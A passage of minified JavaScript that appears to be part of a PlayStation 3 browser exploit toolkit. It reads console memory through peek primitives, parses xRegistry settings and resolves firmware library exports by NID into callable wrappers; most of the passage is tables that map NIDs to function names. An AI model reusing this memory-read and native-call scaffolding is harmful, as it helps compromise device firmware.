p=helper.memory.upeeks(r,16);if(i=parseInt(p.substr(24,8),16),!((n=parseInt(p.substr(0,8),16))>=536870912&&n<805306240))break;(a=helper.memory.upeeks(n,128,!0)).length<10||i>0?1===i?xRegSettings.inactive.push({setting:a,pointer:n}):2===i?xRegSettings.directory.push({setting:a,pointer:n}):3===i&&xRegSettings.hidden.push({setting:a,pointer:n}):xRegSettings.active.push({setting:a,pointer:n})}(e>=s.length||0===a.length)&&(Logger.info("processXRegistryTable : Count 0x"+(e-t).toString(16)),setTimeout(processXRegistryTable,50))}(s.list)},50)}else Logger.error("Error extracting xRegistry list 0x"+s.error.toString(16)),toast("xRegistry Data Extraction Error 0x"+s.error.toString(16),"error",5),setTimeout(processXRegistryTable,0)}function getNIDfuncOPD(e,t){t=parseInt(t),Logger.info("getNIDfuncOPD: Search for fnid 0x"+t.toString(16)+" in "+e);for(var r=0,s="",o="",l=0,n=helper.memory.upeek32(helper.memory.upeek32(65676)+2436),i="";469762049===helper.memory.upeek32(n-28);)n-=28;for(;469762049===helper.memory.upeek32(n);){if(i=helper.memory.upeeks(n,28),helper.memory.upeeks(parseInt("0x"+i.substr(-24,8),16),32,!0)===e){for(Logger.info("getNIDfuncOPD: found linked list for library "+e),l=parseInt("0x"+i.substr(12,4),16),Logger.info("getNIDfuncOPD: scanning through "+l.toString()+" exports"),s=helper.memory.upeeks(parseInt("0x"+i.substr(-16,8),16),4*l),o=helper.memory.upeeks(parseInt("0x"+i.substr(-8),16),4*l),r=0;r<8*l;r+=8)if(t===parseInt("0x"+s.substr(r,8),16))return Logger.info("getNIDfuncOPD: found OPD 0x"+parseInt("0x"+o.substr(r,8),16).toString(16)),parseInt("0x"+o.substr(r,8),16);Logger.error("getNIDfuncOPD: fnid 0x"+t.toString(16)+" could not be found in vsh library "+e);break}n+=28}return 0}function fillNIDfunc_OPDs(e){var t=0,r=0,s=0,o=0,l=0,n=0,i="",a="",p="",c="",d=!1;for(l=helper.memory.upeek32(helper.memory.upeek32(65676)+2436);469762049===helper.memory.upeek32(l-28);)l-=28;for(;469762049===helper.memory.upeek32(l);){if(r=0,c=helper.memory.upeeks(l,28),(i=helper.memory.upeeks(parseInt("0x"+c.substr(-24,8),16),64,!0)).length>0){n=parseInt("0x"+c.substr(12,4),16),a=helper.memory.upeeks(parseInt("0x"+c.substr(-16,8),16),4*n),p=helper.memory.upeeks(parseInt("0x"+c.substr(-8),16),4*n);var u=window[i]?window[i]:window[i]={libname:i,opds:{nids:{},names:{}},names:{},getOPDbyNID:function(e){return(e="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"").length>0&&this.opds.nids[e]?this.opds.nids[e]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}};for(o=0;o<8*n;o+=8){d=!1;var h=parseInt("0x"+a.substr(o,8),16),g=parseInt("0x"+p.substr(o,8),16),f=u.names["0x"+h.toString(16).toUpperCase()];f&&f.length>0&&(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names[f]=g,u[f]=g?new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+f+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++,d=!0),d||(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names["export_"+h.toString(16)]=g,exps="export_"+h.toString(16),u[exps]=g?new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+exps+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++)}t++,Logger.info("Detected VSH Export library '"+i+"' - hooked up "+r.toString()+" exports")}l+=28}return Logger.info("VSH Exports Detection: Number of hooked up libraries "+t.toString()+" Total Number of hooked exports "+s.toString()),t}var allocator={libname:"allocator",opds:{nids:{},names:{}},names:{"0x45E124A":"operator_delete_array","0xD84B3689":"operator_delete","0xAD382A99":"operator_delete_nothrow","0xF58E83A5":"operator_new_array","0x2356EF16":"operator_new_array_nothrow","0x96BC2578":"operator_new_array_2","0x83B2CC6F":"operator_new","0xBB712718":"operator_new_nothrow","0xED3DA02B":"operator_new_2","0xA72A7595":"calloc","0x77A602DD":"free","0x759E0635":"malloc","0x79EADF05":"malloc_usable_size","0x6137D196":"memalign","0xF7A14A22":"realloc","0xA830FDD8":"sce_paf_private_calloc","0x97C02090":"sce_paf_private_dump_heap_info","0x6997B837":"sce_paf_private_free","0x58B43627":"sce_paf_private_heapmemory","0xE27B3C01":"sce_paf_private_malloc","0x799473AE":"sce_paf_private_memalign","0x679E8CAF":"sce_paf_private_realloc","0xD2B978F5":"sce_paf_private_report_memblk"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellHttp={libname:"cellHttp",opds:{nids:{},names:{}},names:{"0x1B5BDCC6":"cellHttpAddCookieWithClientId","0x33347DDD":"cellHttpAuthCacheExport","0xDCDF003A":"cellHttpAuthCacheFlush","0xF92217C5":"cellHttpAuthCacheGetEntryMax","0xDA56BFAA":"cellHttpAuthCacheImport","0xD33AD4D0":"cellHttpAuthCacheSetEntryMax","0x4B33942A":"cellHttpClientAddHeader","0x2033B878":"cellHttpClientCloseAllConnections","0x27F86D70":"cellHttpClientCloseConnections","0x617EEC02":"cellHttpClientDeleteHeader","0xD9C65BE":"cellHttpClientGetAllHeaders","0xFCE39343":"cellHttpClientGetAuthenticationCacheStatus","0x5980A293":"cellHttpClientGetAutoAuthentication","0x2960E309":"cellHttpClientGetAutoRedirect","0x14BFC765":"cellHttpClientGetConnTimeout","0x431E1407":"cellHttpClientGetConnectionWaitStatus","0x1249C1D1":"cellHttpClientGetConnectionWaitTimeout","0xEB9C1E5E":"cellHttpClientGetCookieStatus","0xD1EC0B25":"cellHttpClientGetHeader","0x591C21A8":"cellHttpClientGetKeepAlive","0x98CE061C":"cellHttpClientGetMinSslVersion","0x46BCC9FF":"cellHttpClientGetPerHostKeepAliveMax","0xFFC74003":"cellHttpClientGetPerHostPoolSize","0xD06C90A4":"cellHttpClientGetPerPipelineMax","0x2A1F28F6":"cellHttpClientGetPipeline","0x4D40CF98":"cellHttpClientGetProxy","0x130150EA":"cellHttpClientGetRecvBufferSize","0xBA78E51F":"cellHttpClientGetRecvTimeout","0x6884CDB7":"cellHttpClientGetResponseBufferMax","0xD3FCD411":"cellHttpClientGetSendBufferSize","0x271A0B06":"cellHttpClientGetSendTimeout","0xCCF57336":"cellHttpClientGetSslVersion","0x70F1020":"cellHttpClientGetTotalPoolSize","0xEE05B0C1":"cellHttpClientGetUserAgent","0xDC405507":"cellHttpClientGetVersion","0xADC0A4B2":"cellHttpClientPollConnections","0x6EED4999":"cellHttpClientSetAuthenticationCacheStatus","0x660D42A9":"cellHttpClientSetAuthenticationCallback","0x8EAF47A3":"cellHttpClientSetAutoAuthentication","0x211D8BA3":"cellHttpClientSetAutoRedirect","0x88F79869":"cellHttpClientSetCacheStatus","0xD7471088":"cellHttpClientSetConnTimeout","0x85FB7363":"cellHttpClientSetConnectionStateCallback","0x88B71A4C":"cellHttpClientSetConnectionWaitStatus","0xB7CB7D05":"cellHttpClientSetConnectionWaitTimeout","0x13FE767B":"cellHttpClientSetCookieRecvCallback","0x4D915204":"cellHttpClientSetCookieSendCallback","0x434419C8":"cellHttpClientSetCookieStatus","0xA34C4B6F":"cellHttpClientSetHeader","0x5D473170":"cellHttpClientSetKeepAlive","0xE6C7D333":"cellHttpClientSetMinSslVersion","0x595ADEE9":"cellHttpClientSetPerHostKeepAliveMax","0xAB1C55AB":"cellHttpClientSetPerHostPoolSize","0xDC7ED599":"cellHttpClientSetPerPipelineMax","0x296A46CF":"cellHttpClientSetPipeline","0xD7D3CD5D":"cellHttpClientSetProxy","0xBF6E3659":"cellHttpClientSetRecvBufferSize","0x224E1610":"cellHttpClientSetRecvTimeout","0x473CD9F1":"cellHttpClientSetRedirectCallback","0xADD66B5C":"cellHttpClientSetResponseBufferMax","0xBB6C0EB2":"cellHttpClientSetSendBufferSize","0x71714CDC":"cellHttpClientSetSendTimeout","0x1395D8D1":"cellHttpClientSetSslCallback","0xD8352A40":"cellHttpClientSetSslClientCertificate","0x7313C78D":"cellHttpClientSetSslIdDestroyCallback","0x65691795":"cellHttpClientSetSslVersion","0x8AA5FCD3":"cellHttpClientSetTotalPoolSize","0xB6FEB84B":"cellHttpClientSetTransactionStateCallback","0xCAC9FC34":"cellHttpClientSetUserAgent","0x40547D8B":"cellHttpClientSetVersion","0xC79173FF":"cellHttpCookieExport","0xF972C733":"cellHttpCookieExportWithClientId","0x8FC281F7":"cellHttpCookieFlush","0x6C1FFE4E":"cellHttpCookieImport","0xD846D63":"cellHttpCookieImportWithClientId","0x4E4EE53A":"cellHttpCreateClient","0x52A80D9":"cellHttpCreateTransaction","0x980855AC":"cellHttpDestroyClient","0x32F5CAE2":"cellHttpDestroyTransaction","0xD276FF1F":"cellHttpEnd","0xA39FE9DC":"cellHttpEndCache","0x61B2BADE":"cellHttpEndCookie","0xD632A727":"cellHttpEndExternalCache","0x1AC58D11":"cellHttpFlushCache","0x8DC2D51D":"cellHttpFlushExternalCache","0xC6771F43":"cellHttpGetCacheInfo","0x8BEDEFA8":"cellHttpGetCookie","0xE95BFC2C":"cellHttpGetMemoryInfo","0x2A87603A":"cellHttpGetProxy","0x250C386C":"cellHttpInit","0xB4FA3111":"cellHttpInitCache","0x9638F766":"cellHttpInitCookie","0x9E4B77":"cellHttpInitExternalCache","0x61C90691":"cellHttpRecvResponse","0xED993147":"cellHttpRequestAddHeader","0x16214411":"cellHttpRequestDeleteHeader","0x42205FE0":"cellHttpRequestGetAllHeaders","0x4137A1F6":"cellHttpRequestGetChunkedTransferStatus","0x958323CF":"cellHttpRequestGetContentLength","0xB9FEA5F":"cellHttpRequestGetHeader","0x8E3F7EE1":"cellHttpRequestSetChunkedTransferStatus","0xAF73A64E":"cellHttpRequestSetContentLength","0x54F2A4DE":"cellHttpRequestSetHeader","0xBEA17389":"cellHttpResponseGetAllHeaders","0x464FF889":"cellHttpResponseGetContentLength","0x4F5D8D20":"cellHttpResponseGetHeader","0x10D0D7FC":"cellHttpResponseGetStatusCode","0x6A81B5E4":"cellHttpResponseGetStatusLine","0xA755B005":"cellHttpSendRequest","0xAD6A2E5B":"cellHttpSessionCookieFlush","0xD896B97":"cellHttpSetProxy","0x2D52848B":"cellHttpTransactionAbortConnection","0xA0D9223C":"cellHttpTransactionCloseConnection","0x38954133":"cellHttpTransactionGetSslCipherBits","0x34061E49":"cellHttpTransactionGetSslCipherId","0x895C604C":"cellHttpTransactionGetSslCipherName","0xE3C424B3":"cellHttpTransactionGetSslCipherString","0x93E938E5":"cellHttpTransactionGetSslCipherVersion","0x2A78FF04":"cellHttpTransactionGetSslId","0xAD1C6F02":"cellHttpTransactionGetSslVersion","0xEF17399":"cellHttpTransactionGetUri","0xD47CC666":"cellHttpTransactionReleaseConnection","0x5C8AE162":"cellHttpTransactionSetUri","0xE6D4202F":"cellHttpsEnd","0x522180BC":"cellHttpsInit"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellHttpUtil={libname:"cellHttpUtil",opds:{nids:{},names:{}},names:{"0x37BB53A2":"cellHttpUtilAppendHeaderValue","0x8E52EE08":"cellHttpUtilBase64Decoder","0x83FAA354":"cellHttpUtilBase64Encoder","0x4ACCEBF":"cellHttpUtilBuildHeader","0x1C6E4DBB":"cellHttpUtilBuildRequestLine","0x6F0F7667":"cellHttpUtilBuildUri","0x97F9FBE5":"cellHttpUtilCopyHeader","0x50EA75BC":"cellHttpUtilCopyStatusLine","0xF05DF789":"cellHttpUtilCopyUri","0x9003B1F2":"cellHttpUtilEscapeUri","0x8E6C5BB9":"cellHttpUtilFormUrlDecode","0x44D756D6":"cellHttpUtilFormUrlEncode","0x8EA23DEB":"cellHttpUtilMergeUriPath","0xE1FB0EBD":"cellHttpUtilParseHeader","0xA3457869":"cellHttpUtilParseProxy","0x2BCBCED4":"cellHttpUtilParseStatusLine","0x32FAAF58":"cellHttpUtilParseUri","0x8BB608E4":"cellHttpUtilParseUriPath","0xAABEB869":"cellHttpUtilSweepPath","0x2763FD66":"cellHttpUtilUnescapeUri"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellRtc={libname:"cellRtc",opds:{nids:{},names:{}},names:{"0x7F1086E6":"cellRtcCheckValid","0xFB51FC61":"cellRtcCompareTick","0x46CA7FE0":"cellRtcConvertLocalTimeToUtc","0xC48D5002":"cellRtcConvertUtcToLocalTime","0x5491B9D5":"cellRtcFormatRfc2822","0xA07C3D2F":"cellRtcFormatRfc2822LocalTime","0xD9C0B463":"cellRtcFormatRfc3339","0x1324948A":"cellRtcFormatRfc3339LocalTime","0x32C941CF":"cellRtcGetCurrentClock","0x2CCE9CF5":"cellRtcGetCurrentClockLocalTime","0xC4808FD7":"cellRtcGetCurrentSecureTick","0x9DAFC0D9":"cellRtcGetCurrentTick","0xC2D8CF95":"cellRtcGetDayOfWeek","0x5B6A0A1D":"cellRtcGetDaysInMonth","0xDFFF32CF":"cellRtcGetDosTime","0xF582308D":"cellRtcGetSystemTime","0xC7BDB7EB":"cellRtcGetTick","0x748BEDA3":"cellRtcGetTickResolution","0xCB90C761":"cellRtcGetTime","0xE7086F05":"cellRtcGetWin32FileTime","0x5316B4A8":"cellRtcIsLeapYear","0xC5BC0FAC":"cellRtcParseDateTime","0xCF11C3D6":"cellRtcParseRfc3339","0x5E78D18E":"cellRtcSetConf","0x3DC09A3E":"cellRtcSetCurrentSecureTick","0xEB22BB86":"cellRtcSetCurrentTick","0x9598D4B3":"cellRtcSetDosTime","0xE22D74A4":"cellRtcSetSystemTime","0x99B13034":"cellRtcSetTick","0xBB543189":"cellRtcSetTime","0x5F68C268":"cellRtcSetWin32FileTime","0x75744E2A":"cellRtcTickAddDays","0xD41D3BD2":"cellRtcTickAddHours","0xF8509925":"cellRtcTickAddMicroseconds","0x2F010BFA":"cellRtcTickAddMinutes","0xE0ECBB45":"cellRtcTickAddMonths","0xCCCE71BD":"cellRtcTickAddSeconds","0x269A1882":"cellRtcTickAddTicks","0x64C63FD5":"cellRtcTickAddWeeks","0x332A74DD":"cellRtcTickAddYears"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},netctl_main={libname:"netctl_main",opds:{nids:{},names:{}},names:{"0x3A5CB886":"sceNetCtlGetEtherInfoVsh","0xC67D3DB3":"sceNetConfigFreeThreadinfo","0x38479255":"sceNetApCtlConnectVsh","0xB7618526":"sceNetApCtlDisconnectVsh","0x8DA844E1":"sceNetApCtlGetInfoVsh","0x5ED42691":"sceNetApCtlGetStateVsh","0xECD37366":"sceNetApCtlInitVsh","0x4B1EE41D":"sceNetApCtlTermVsh","0x974E50F6":"sceNetCtlAddHandlerSysUtil","0x953F1E14":"sceNetCtlAddHandlerVsh","0x5D1D7803":"sceNetCtlConnectVsh","0xFA020C41":"sceNetCtlConnectWithRetryVsh","0x13CD17FB":"sceNetCtlDelHandlerSysUtil","0xA111D8FB":"sceNetCtlDelHandlerVsh","0x5AB91391":"sceNetCtlDisconnectVsh","0x9A528B81":"sceNetCtlGetInfoVsh","0x6F2521E0":"sceNetCtlGetScanInfoVsh","0x2DCA4721":"sceNetCtlGetStateSysUtil","0xEC73B49D":"sceNetCtlGetStateVsh","0x218CFBD3":"sceNetCtlInitVsh","0x61E363B0":"sceNetCtlScanVsh","0x352EFDDF":"sceNetCtlTermVsh"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},pngdec_ppuonly={libname:"pngdec_ppuonly",opds:{nids:{},names:{}},names:{"0xC515302":"cellPngDecExtOpen","0x157D30C5":"cellPngDecCreate","0x2310F155":"cellPngDecDecodeData","0x48436B2D":"cellPngDecExtCreate","0x5B3D1FF1":"cellPngDecClose","0x726FC1D0":"cellPngDecExtDecodeData","0x820DAE1A":"cellPngDecDestroy","0x8B33F863":"cellPngDecExtReadHeader","0x9CCDCC95":"cellPngDecReadHeader","0x9E9D7D42":"cellPngDecExtSetParameter","0xD2BC5BFD":"cellPngDecOpen","0xE97C9BD4":"cellPngDecSetParameter"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysConsoleId={libname:"sysConsoleId",opds:{nids:{},names:{}},names:{"0xF220F751":"sys_get_console_id"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysBdMediaId={libname:"sysBdMediaId",opds:{nids:{},names:{}},names:{"0xEF666B52":"sys_get_bd_media_id"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysPrxForUser={libname:"sysPrxForUser",opds:{nids:{},names:{}},names:{"0x3EF17F8C":"_sys_look_ctype_table","0x2E20EC1":"_sys_printf_basename","0xFECC05B6":"_sys_time","0x8CFEF376":"__tls_get_addr","0x637BDAAE":"_proc_spawn","0xF7F7FB20":"sys_free","0xB9BF1078":"sys_heap_alloc_heap_memory","0xB2FCF2C8":"sys_heap_create_heap","0xAEDE4B03":"sys_heap_delete_heap","0x8A561D92":"sys_heap_free","0xD1AD4570":"sys_heap_get_mallinfo","0xB6369393":"sys_heap_get_total_free_size","0x35168520":"sys_heap_malloc","0x44265C08":"sys_heap_memalign","0x8985B5B6":"sys_heap_stats","0xBDB18F83":"sys_malloc","0x318F17E1":"sys_memalign","0x3BD53C7B":"sys_memchr","0xFB5DB080":"sys_memcmp","0x6BF66EA7":"sys_memcpy","0x27427742":"sys_memmove","0x68B9B011":"sys_memset","0x4BBF59D0":"sys_net_eurus_post_command","0x4232B0DB":"sys_panic","0x9F04F7AF":"sys_printf","0x96328741":"sys_process_at_Exitspawn","0x2C847572":"sys_process_atexitspawn","0xBAB62B99":"sys_process_wait_for_game_process","0xC4FD6121":"sys_qsort","0x6574237":"sys_snprintf","0xA1F9EAFE":"sys_sprintf","0xDD0C1E09":"sys_spu_printf_attach_group","0x1AE10B92":"sys_spu_printf_attach_thread","0x5FDFB2FE":"sys_spu_printf_detach_group","0xB3BBCF2A":"sys_spu_printf_detach_thread","0xDD3B27AC":"sys_spu_printf_finalize","0x45FE2FCE":"sys_spu_printf_initialize","0x52D29A6":"sys_strcat","0x7498887B":"sys_strchr","0x459B4393":"sys_strcmp","0x99C88692":"sys_strcpy","0x2D36462B":"sys_strlen","0x1CA525A2":"sys_strncasecmp","0x996F7CF8":"sys_strncat","0x4E83D2C":"sys_strncmp","0xD3039D4D":"sys_strncpy","0x191F0C4A":"sys_strrchr","0x4B2F301A":"sys_tolower","0xEEF75113":"sys_toupper","0xFA7F693D":"sys_vprintf","0x618936B":"sys_vsnprintf","0x791B9219":"sys_vsprintf","0x8A2F159B":"console_getc","0xE66BAC36":"console_putc","0xF57E1D6F":"console_write","0xE76964F5":"sys_game_board_storage_read","0x8BB03AB8":"sys_game_board_storage_write","0x9F950780":"sys_game_get_rtc_status","0x620E35A7":"sys_game_get_system_sw_version","0x3172759D":"sys_game_get_temperature","0xFC52A7A9":"sys_game_process_exitspawn","0x67F9FEDB":"sys_game_process_exitspawn2","0xACAD8FB6":"sys_game_watchdog_clear","0x9E0623B5":"sys_game_watchdog_start","0x6E05231D":"sys_game_watchdog_stop","0x71A8472A":"sys_get_random_number","0x744680A2":"sys_initialize_tls","0x4A071D98":"sys_interrupt_thread_disestablish","0xDA0EB71A":"sys_lwcond_create","0x1C9A942C":"sys_lwcond_destroy","0xEF87A695":"sys_lwcond_signal","0xE9A1BD84":"sys_lwcond_signal_all","0x52AADADF":"sys_lwcond_signal_to","0x2A6D9D51":"sys_lwcond_wait","0x2F85C0EF":"sys_lwmutex_create","0xC3476D0C":"sys_lwmutex_destroy","0x1573DC3F":"sys_lwmutex_lock","0xAEB78725":"sys_lwmutex_trylock","0x1BC200F4":"sys_lwmutex_unlock","0xA146A143":"sys_mempool_allocate_block","0xCA9A60BF":"sys_mempool_create","0x9D3C0F81":"sys_mempool_destroy","0x608212FC":"sys_mempool_free_block","0x25596F51":"sys_mempool_get_count","0x5C65656":"sys_mempool_try_allocate_block","0xB257540B":"sys_mmapper_allocate_memory","0x70258515":"sys_mmapper_allocate_memory_from_container","0x409AD939":"sys_mmapper_free_memory","0xDC578057":"sys_mmapper_map_memory","0x4643BA6E":"sys_mmapper_unmap_memory","0x24A1EA07":"sys_ppu_thread_create","0xAFF080A4":"sys_ppu_thread_exit","0x350D454E":"sys_ppu_thread_get_id","0xA3E3BE68":"sys_ppu_thread_once","0x3DD4A957":"sys_ppu_thread_register_atexit","0xAC6FC404":"sys_ppu_thread_unregister_atexit","0xDE2F9C85":"sys_process_atexit","0xE6F2C1E7":"sys_process_exit","0xE75C40F2":"sys_process_get_paramsfo","0x4F7172C9":"sys_process_is_stack","0x9D2EC4FF":"sys_process_spawn","0xBF8EE5BB":"sys_process_spawn_with_memory_budget","0xE95FFA0A":"sys_process_wait_for_game_process","0xA2C7BA64":"sys_prx_exitspawn_with_level","0x341BB97":"sys_prx_get_module_id_by_address","0xE0998DBF":"sys_prx_get_module_id_by_name","0x84BB6774":"sys_prx_get_module_info","0xA5D06BF0":"sys_prx_get_module_list","0x74311398":"sys_prx_get_my_module_id","0x26090058":"sys_prx_load_module","0xEF68C17C":"sys_prx_load_module_by_fd","0xB27C8AE7":"sys_prx_load_module_list","0xE7EF3A80":"sys_prx_load_module_list_on_memcontainer","0xAA6D9BFF":"sys_prx_load_module_on_memcontainer","0xA330AD84":"sys_prx_load_module_on_memcontainer_by_fd","0x42B23552":"sys_prx_register_library","0x9F18429D":"sys_prx_start_module","0x80FB0C19":"sys_prx_stop_module","0xF0AECE0D":"sys_prx_unload_module","0xD0EA47A7":"sys_prx_unregister_library","0xB995662E":"sys_raw_spu_image_load","0x893305FA":"sys_raw_spu_load","0xB1BD7A61":"sys_rsxaudio_close_connection","0xA9879A33":"sys_rsxaudio_create_connection","0xC839BB4C":"sys_rsxaudio_initialize","0x7B034C78":"sys_rsxaudio_prepare_process","0x9C9605EE":"sys_rsxaudio_start_process","0xFF34C76C":"sys_rsxaudio_stop_process","0x39E9B068":"sys_rsxaudio_unimport_shared_memory","0x87C87495":"sys_rsxaudio_finalize","0x2F256B29":"sys_rsxaudio_import_shared_memory","0x8C2BB498":"sys_spinlock_initialize","0xA285139D":"sys_spinlock_lock","0x722A0254":"sys_spinlock_trylock","0x5267CB35":"sys_spinlock_unlock","0x1ED454CE":"sys_spu_elf_get_information","0xDB6B3250":"sys_spu_elf_get_segments","0xE0DA8EFD":"sys_spu_image_close","0xEBE5F72F":"sys_spu_image_import","0x8461E528":"sys_time_get_system_time"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_fs_ps2disc={libname:"sys_fs_ps2disc",opds:{nids:{},names:{}},names:{"0x8160A811":"ps2disc_mount"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_io={libname:"sys_io",opds:{nids:{},names:{}},names:{"0x2073B7F6":"cellKbClearBuf","0x4AB1FA77":"cellKbCnvRawCode","0xBFCE3285":"cellKbEnd","0x1F71ECBE":"cellKbGetConfiguration","0x2F1774D5":"cellKbGetInfo","0x433F6EC0":"cellKbInit","0xFF0A21B7":"cellKbRead","0xA5F85E4D":"cellKbSetCodeType","0x3F72C56E":"cellKbSetLEDStatus","0xDEEFDFA7":"cellKbSetReadMode","0x3EF66B95":"cellMouseClearBuf","0xE10183CE":"cellMouseEnd","0x3138E632":"cellMouseGetData","0x6BD131F0":"cellMouseGetDataList","0x5BAF30FB":"cellMouseGetInfo","0xA328CC35":"cellMouseGetRawData","0x21A62E9B":"cellMouseGetTabletDataList","0x4D0B3B1F":"cellMouseInfoTabletMode","0xC9030138":"cellMouseInit","0x2D16DA4F":"cellMouseSetTabletMode","0xD5F2C14":"cellPadClearBuf","0x4D9B75D5":"cellPadEnd","0xDBF4C59C":"cellPadGetCapabilityInfo","0x8B72CDA1":"cellPadGetData","0x6BC09C61":"cellPadGetDataExtra","0x3AAAD464":"cellPadGetInfo","0xA703A51D":"cellPadGetInfo2","0x3F797DFF":"cellPadGetRawData","0xE2DFAAD":"cellPadInfoPressMode","0x78200559":"cellPadInfoSensorMode","0x1CF98800":"cellPadInit","0xBAFD6409":"cellPadLddDataInsert","0x8B8231E5":"cellPadLddGetPortNo","0x20A97BA2":"cellPadLddRegisterController","0xE442FAA8":"cellPadLddUnregisterController","0x8A00F264":"cellPadPeriphGetData","0x4CC9B68D":"cellPadPeriphGetInfo","0xF65544EE":"cellPadSetActDirect","0x578E3C98":"cellPadSetPortSetting","0xF83F8182":"cellPadSetPressMode","0xBE5BE3BA":"cellPadSetSensorMode","0x6AE10596":"sys_config_add_service_listener","0x662BB2AD":"sys_config_register_io_error_handler","0x78F058A2":"sys_config_register_service","0xF5D9D571":"sys_config_remove_service_listener","0x68FCBC6":"sys_config_start","0x6D367953":"sys_config_stop","0x8E06D13B":"sys_config_unregister_io_error_handler","0x5F81900C":"sys_config_unregister_service"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_net={libname:"sys_net",opds:{nids:{},names:{}},names:{"0xFAFD69A4":"sys_net_lib_calloc","0x78EAE3FB":"sys_net_lib_malloc","0x3CA02562":"sys_net_lib_realloc","0xB017E2B":"sce_net_add_name_server","0x853BE146":"sce_net_add_name_server_with_char","0xC82191E3":"sce_net_flush_route","0xFD58F18A":"sce_net_get_name_server","0xC2F38FF1":"sce_net_set_default_gateway","0x16F1CE55":"sce_net_set_ip_and_mask","0x943231D1":"sce_net_set_name_server","0x6005CDE1":"sys_net_errno_loc","0xC9157D30":"sys_net_h_errno_loc","0x959C4441":"sys_net_lib_abort","0xF7ACD655":"sys_net_lib_bnet_control","0xE61CB17A":"sys_net_lib_free","0x46497DA6":"sys_net_lib_get_system_time","0x44F05E73":"sys_net_lib_if_nametoindex","0x92852B93":"sys_net_lib_ioctl","0x7608719D":"sys_net_lib_rand","0x827CA646":"sys_net_lib_reset_libnetctl_queue","0xF0645452":"sys_net_lib_set_libnetctl_queue","0x8F3E1687":"sys_net_lib_sync_clear","0x6B6CAF26":"sys_net_lib_sync_create","0x5D0CA0E8":"sys_net_lib_sync_destroy","0x3C95AA78":"sys_net_lib_sync_signal","0x9A62982A":"sys_net_lib_sync_wait","0x4323CDA7":"sys_net_lib_sysctl","0x3C7189C0":"sys_net_lib_thread_create","0x7E6FB08D":"sys_net_lib_thread_exit","0xF5F39114":"sys_net_lib_thread_join","0xAEB2EC57":"sys_net_lib_usleep","0xC94F6939":"accept","0xB0A59804":"bind","0x64F66D35":"connect","0xF7AC8941":"gethostbyaddr","0x71F4C717":"gethostbyname","0xF9EC2DB6":"getpeername","0x13EFE7F5":"getsockname","0x5A045BD1":"getsockopt","0xDABBC2C0":"inet_addr","0xA9A079E0":"inet_aton","0x566893CE":"inet_lnaof","0xB4152C74":"inet_makeaddr","0xE39A62A7":"inet_netof","0x506AD863":"inet_network","0x858A930B":"inet_ntoa","0xC98A3146":"inet_ntop","0x8AF3825E":"inet_pton","0x28E208BB":"listen","0xFBA04F37":"recv","0x1F953B9F":"recvfrom","0xC9D09C34":"recvmsg","0xDC751B40":"send","0xAD09481B":"sendmsg","0x9647570B":"sendto","0x88F03575":"setsockopt","0xA50777C